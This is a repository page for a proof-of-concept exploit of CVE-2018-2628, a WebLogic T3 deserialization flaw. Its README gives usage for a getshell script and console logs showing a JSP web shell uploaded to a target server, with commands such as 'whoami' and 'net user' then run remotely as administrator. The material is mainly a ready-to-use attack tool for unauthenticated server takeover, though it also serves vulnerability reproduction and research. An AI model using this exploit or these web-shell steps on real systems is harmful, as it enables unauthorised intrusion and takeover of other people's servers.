CVE-2018-2628 PoC — Oracle Fusion Middleware 代码问题漏洞

Source

https://github.com/jas502n/CVE-2018-2628

Associated Vulnerability

Title: Oracle Fusion Middleware 代码问题漏洞 (CVE-2018-2628)
Description:Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Core Components). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Description

Weblogic 反序列化漏洞(CVE-2018-2628)

Readme

# CVE-2018-2628 WebLogic反序列化漏洞复现

## weblogic getshell

`python CVE-2018-2628-Getshell.py ip port shell1.jsp`

![](./getshell.jpg)
![](./curl-shell.jpg)

```
C:\Users\CTF\Desktop>python CVE-2018-2628-Getshell.py  10.10.20.166 7001 jason1.jsp

   _______      ________    ___   ___  __  ___      ___   __ ___   ___
  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \    |__ \ / /|__ \ / _ \
 | |     \ \  / /| |__ ______ ) | | | || | (_) |_____ ) / /_   ) | (_) |
 | |      \ \/ / |  __|______/ /| | | || |> _ <______/ / '_ \ / / > _ <
 | |____   \  /  | |____    / /_| |_| || | (_) |    / /| (_) / /_| (_) |
  \_____|   \/   |______|  |____|\___/ |_|\___/    |____\___/____|\___/


                          Weblogic Getshell
                                jas502n


handshake successful


 >>>>usage: python cve-2018-2628.py ip port shell1.jsp



>>>Shell File Upload Dir:

servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\jason1.jsp


>>>Getshell: http://10.10.20.166:7001/bea_wls_internal/jason1.jsp?tom=d2hvYW1pCg==

C:\Users\CTF\Desktop>
```


### python-poc
![](./cve-2018-2628-docker.jpg)
#### The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md
![](./cve-2018-2628-poc.jpg)

### 0x01 Nessus Scan

![](./images/CVE-2018-2628-scan.jpg)


### 0x02 K8 Tools GetShell

![](./images/GetShell.PNG)


### 0x03 CMD Query

![](./images/cmd.jpg)


#####  Use-Method:

```
> python cve-2018-2628.py

set url :http://xx.xx.xx.xx:8001/bea_wls_internal/wlscmd.jsp
cmd >>: whoami

win-xxx8cb989qh\administrator

cmd >>: net user

\\WIN-XXX8CB989QH 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest
命令成功完成。

cmd >>:
```

File Snapshot

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